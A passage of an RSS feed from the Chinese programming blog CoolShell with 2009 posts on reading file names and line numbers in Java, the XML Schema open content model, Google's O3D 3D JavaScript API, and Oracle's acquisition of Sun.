src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"神奇的CSS形状 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_title\">神奇的CSS形状 </a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"CSS图形\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_title\">CSS图形</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/648.html\">22个不错的CSS技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/648.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Java如何取源文件中文件名和行号</title>\n\t\t<link>https://coolshell.cn/articles/611.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/611.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Wed, 22 Apr 2009 07:00:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=611</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如何取的Java源代码文件中文件名和行号：） 在C/C++的程序，编译器提供了两个宏来支持取得源文件中的行号和文件名，这两个宏是__FILE__,__LINE_...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/611.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/611.html\">Java如何取源文件中文件名和行号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如何取的Java源代码文件中文件名和行号：）</p>\n<p>在C/C++的程序，编译器提供了两个宏来支持取得源文件中的行号和文件名，这两个宏是__FILE__,__LINE__</p>\n<p>你可以如下的方法打印行号和文件名</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n\n#include &lt;stdio.h&gt;\nint main()\n{\n fprintf(stdout,&quot;[%s:%d] Hello World!&quot;,__FILE__,__LINE__);\n return 0;\n}\n\n</pre>\n<p><span id=\"more-611\"></span><br />\n但是在JAVA下没有这两个宏，那么我们如何来取得文件名和行号，翻阅JDK，我们找到StackTraceElement这个类。这个类可以从Throwable取得，另外也可以从Thread类取得，通过这些我写如下的一个打印行号的测试程序：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n\npublic class LineNo {\n public static int getLineNumber() {\n return Thread.currentThread().getStackTrace()[2].getLineNumber();\n }  \n\n public static String getFileName() {\n return Thread.currentThread().getStackTrace()[2].getFileName();\n }\n public static void main(String args[]) {\n System.out.println(&quot;[&quot;+getFileName()+&quot;：&quot;+ getLineNumber()+&quot;]&quot;+&quot;Hello World!&quot;);\n }\n}\n\n</pre>\n<p>留下一个问题，上面程序中的magic数字 2 代表什么含义呢？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/611.html\">Java如何取源文件中文件名和行号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/611.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>早期XML Schema中的open content模型</title>\n\t\t<link>https://coolshell.cn/articles/604.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/604.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Wed, 22 Apr 2009 05:04:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=604</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>摘要：在看SDO的一些规范文档，可能会出现open content这样的词组，上网查了相关资料，发现这是一种XML Schema的模型，本文就描述了XML Sc...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/604.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/604.html\">早期XML Schema中的open content模型</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>摘要</strong>：在看SDO的一些规范文档，可能会出现open content这样的词组，上网查了相关资料，发现这是一种XML Schema的模型，本文就描述了XML Schema的Open Content模型的含义，在最新的XML Schema规范中，好像已经没有Open模型，它的等价物是any模型。</p>\n<p>早期发布的XML Schema规范中支持一种新的element定义，在这个定义中，你可以将XML的Element的内容定义为开放的。下面我们将会介绍一下XML的Open Content 模型。</p>\n<p>在Open Content模型中，如果一个XML的元素在XML Schema中被声明为开放的，那么这个Schema对应的XML文档的实例就可以包含一个没有在Schema中罗列的子元素。例如，一个包含着如下的XML Schema的Schema文件</p>\n<p><span id=\"more-604\"></span></p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n      &lt;element name=&amp;quot;Book&amp;quot;&gt;\n           &lt;type&gt;\n               &lt;element name=&amp;quot;Title&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;Author&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;Date&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;ISBN&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n               &lt;element name=&amp;quot;Publisher&amp;quot; type=&amp;quot;string&amp;quot;/&gt;\n           &lt;/type&gt;\n      &lt;/element&gt;</pre>\n<p>这个book element的声明意味着这个Schema的实例XML文件必须包含5个元素 &#8211; Title,Author，Date，ISBN，Pbulish。例如：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n     &lt;Book&gt;\n         &lt;Title&gt;Illusions The Adventures of a Reluctant Messiah&lt;/Title&gt;\n         &lt;Author&gt;Richard Bach&lt;/Author&gt;\n         &lt;Date&gt;1977&lt;/Date&gt;\n         &lt;ISBN&gt;0-440-34319-4&lt;/ISBN&gt;\n         &lt;Publisher&gt;Dell Publishing Co.&lt;/Publisher&gt;\n     &lt;/Book&gt;\n\n</pre>\n<p>假设，在实例XML文件，你希望增加book的另外一个子元素，比如，你希望增加一个到某一个网页的连接：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n     &lt;Book&gt;\n         &lt;Title&gt;Illusions The Adventures of a Reluctant Messiah&lt;/Title&gt;\n         &lt;Author&gt;Richard Bach&lt;/Author&gt;\n         &lt;Date&gt;1977&lt;/Date&gt;\n         &lt;ISBN&gt;0-440-34319-4&lt;/ISBN&gt;\n         &lt;Publisher&gt;Dell Publishing Co.&lt;/Publisher&gt;\n         &lt;AuthorsWebPage xlink:href=&amp;quot;&lt;a href=&amp;quot;http://www.rbach.com&amp;quot;/&amp;quot;&gt;http://www.rbach.com&amp;quot;/&lt;/a&gt;&gt;\n    &lt;/Book&gt;\n\n</pre>\n<p>对于上面这个XML文件，XML Schema分析器将会认为这个XML文件是无效的XML，因为上面的文件的包含了Scheme中没有定义的元素。但是在我们的应用场景中，我们可能会希望XML Schema分析器不要报错，因为，应用程序自己知道如何处理&lt;AuthorsWebPage&gt;这个元素。为了达到这个目的，我们就可以将Book声明为开放的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"那些炒作过度的技术和概念\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_title\">那些炒作过度的技术和概念</a></li><li ><a href=\"https://coolshell.cn/articles/3585.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"SOAP的S是Simple\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3585.html\" class=\"wp_rp_title\">SOAP的S是Simple</a></li><li ><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"信XML，得自信\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_title\">信XML，得自信</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/604.html\">早期XML Schema中的open content模型</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/604.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google 三维 JavaScript API 发布</title>\n\t\t<link>https://coolshell.cn/articles/599.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/599.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 22 Apr 2009 04:01:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[O3D]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=599</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>O3D 是一个开源的Web API，其可以创建相当牛X的基于浏览器的可交互式的3D应用。这个API在很有可能会形成以后的Web上的3D图形的标准。下面是这个AP...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/599.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/599.html\">Google 三维 JavaScript API 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>O3D 是一个开源的Web API，其可以创建相当牛X的基于浏览器的可交互式的3D应用。这个API在很有可能会形成以后的Web上的3D图形的标准。下面是这个API的主站点： <a href=\"http://code.google.com/apis/o3d/\">http://code.google.com/apis/o3d/</a> 。O3D目前支持Windows, Mac和Linux三种平台。</p>\n<p>下面是一些简单地使用O3D的API的如何创建一个立方体，更详细的内容请访问O3D的网站。</p>\n<p>1）首选我们先创建一个比较原始的立方体。使用<span style=\"font-family: Courier New;\">createCube()</span>方法。</p>\n<p>[javascript]</p>\n<p>function createCube(material) {<br />\n  var cubeShape = g_pack.createObject(&#8216;Shape&#8217;);<br />\n  var cubePrimitive = g_pack.createObject(&#8216;Primitive&#8217;);<br />\n  var streamBank = g_pack.createObject(&#8216;StreamBank&#8217;);</p>\n<p>  cubePrimitive.material = material;<br />\n  cubePrimitive.owner(cubeShape);<br />\n  cubePrimitive.streamBank = streamBank;<br />\n  .<br />\n  .<br />\n  .<br />\n[/javascript]</p>\n<p><span id=\"more-599\"></span><br />\n 2）然后，我们需要指定一些顶点信息。<br />\n其中，我们利用三角形来构造3D图形。一个立方体有12个三角面，两个构成一个面，然后有8个顶点。<br />\n[javascript]<br />\n  cubePrimitive.primitiveType = g_o3d.Primitive.TRIANGLELIST;<br />\n  cubePrimitive.numberPrimitives = 12; // 12 triangles<br />\n  cubePrimitive.numberVertices = 8;    // 8 vertices in total<br />\n  cubePrimitive.createDrawElement(g_pack, null);   // Create the draw element for this primitive.<br />\n[/javascript]</p>\n<p>3）指定一下8个顶点的坐标。<br />\n[javascript]<br />\nvar positionArray = [<br />\n    -0.5, -0.5,  0.5,  // vertex 0<br />\n     0.5, -0.5,  0.5,  // vertex 1<br />\n    -0.5,  0.5,  0.5,  // vertex 2<br />\n     0.5,  0.5,  0.5,  // vertex 3<br />\n    -0.5,  0.5, -0.5,  // vertex 4<br />\n     0.5,  0.5, -0.5,  // vertex 5<br />\n    -0.5, -0.5, -0.5,  // vertex 6<br />\n     0.5, -0.5, -0.5   // vertex 7<br />\n  ];<br />\n[/javascript]</p>\n<p>4）把顶点坐标数组加入Buffer中。<br />\n[javascript]<br />\n// Create buffers containing the vertex data.<br />\nvar positionsBuffer = g_pack.createObject(&#8216;VertexBuffer&#8217;);<br />\nvar positionsField = positionsBuffer.createField(&#8216;FloatField&#8217;, 3);<br />\npositionsBuffer.set(positionArray);<br />\n[/javascript]</p>\n<p>5）把Buffer放到Stream Bank中。</p>\n<p>[javascript]<br />\n// Associate the positions Buffer with the StreamBank.<br />\nstreamBank.setVertexStream(<br />\n  g_o3d.Stream.POSITION, // semantic: This stream stores vertex positions<br />\n  0,                     // semantic index: First (and only) position stream<br />\n  positionsField,        // field: the field this stream uses.<br />\n  0);                    // start_index: How many elements to skip in the field.<br />\n[/javascript] </p>\n<p>6）连接点成为三角面，并把三角面两两一组组成立方面。<br />\n[javascript]<br />\nvar indicesArray = [<br />\n      0, 1, 2,  // face 1<br />\n      2, 1, 3,<br />\n      2, 3, 4,  // face 2<br />\n      4, 3, 5,<br />\n      4, 5, 6,  // face 3<br />\n      6, 5, 7,<br />\n      6, 7, 0,  // face 4<br />\n      0, 7, 1,<br />\n      1, 7, 3,  // face 5<br />\n      3, 7, 5,<br />\n      6, 0, 4,  // face 6<br />\n      4, 0, 2<br />\n  ];<br />\n[/javascript]</p>\n<p>完整的源码请参看这里：（打开网页后查看源码）<br />\n<a href=\"http://o3d.googlecode.com/svn/trunk/samples/hellocube.html\" target=_blank>http://o3d.googlecode.com/svn/trunk/samples/hellocube.html</a></p>\n<p>最后，让我们看一看下面YouTube上的视频，你就知道这个东西有多强了。<a href=\"http://www.youtube.com/watch?v=uofWfXOzX-g\" target=\"_blank\">YouTube链接</a>。</p>\n<p><object width=\"560\" height=\"340\" data=\"http://www.youtube.com/v/uofWfXOzX-g&amp;hl=zh_CN&amp;fs=1\" type=\"application/x-shockwave-flash\"><param name=\"allowFullScreen\" value=\"true\" /><param name=\"allowscriptaccess\" value=\"always\" /><param name=\"src\" value=\"http://www.youtube.com/v/uofWfXOzX-g&amp;hl=zh_CN&amp;fs=1\" /><param name=\"allowfullscreen\" value=\"true\" /></object><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/599.html\">Google 三维 JavaScript API 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/599.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Oracle成功收购Sun</title>\n\t\t<link>https://coolshell.cn/articles/595.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/595.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 20 Apr 2009 16:10:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[Oracle]]></category>\n\t\t<category><![CDATA[Sun]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=595</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前段时间还传出IBM要收购Sun的消息，当然，如果IBM收购Sun了，那么IBM真是活雷锋了。呵呵。 今天，Oralce正式宣布成功收购Sun，原文在这里。Or...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/595.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/595.html\">Oracle成功收购Sun</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sun-oracle.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-596\" title=\"sun-oracle\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/sun-oracle.jpg\" alt=\"sun-oracle\" width=\"145\" height=\"130\" /></a>前段时间还传出IBM要收购Sun的消息，当然，如果IBM收购Sun了，那么<a href=\"https://coolshell.cn/articles/203.html\">IBM真是活雷锋</a>了。呵呵。</p>\n<p>今天，Oralce正式宣布成功收购Sun，原文在<a href=\"http://news.prnewswire.com/DisplayReleaseContent.aspx?ACCT=104&amp;STORY=/www/story/04-20-2009/0005008591&amp;EDATE=\">这里</a>。Oracle以每股9.5美元，总共以74亿美金的天价收购Sun公司，其中，56亿美金付现或购买Sun的债务。现在，Java, Solairs以及MySQL都是Oracle的了。</p>\n<p>Oracle的CEO——Larry Ellison说：“The acquisition of Sun transforms the IT industry, combining best-in-class enterprise software and mission-critical computing systems” 。</p>\n<p>让我们看看这次收购以后还会发生什么样的事情。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1426.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/sun_customers_lg-150x150.gif\" alt=\"Oracle的战书！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1426.html\" class=\"wp_rp_title\">Oracle的战书！</a></li><li ><a href=\"https://coolshell.cn/articles/962.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"【原创】SQL栏目树的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/962.html\" class=\"wp_rp_title\">【原创】SQL栏目树的代码</a></li><li ><a href=\"https://coolshell.cn/articles/203.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/ibm-potentially-buying-sun-150x150.jpg\" alt=\"IBM收购Sun，这是一种什么样的精神？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/203.html\" class=\"wp_rp_title\">IBM收购Sun，这是一种什么样的精神？</a></li><li ><a href=\"https://coolshell.cn/articles/3311.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" 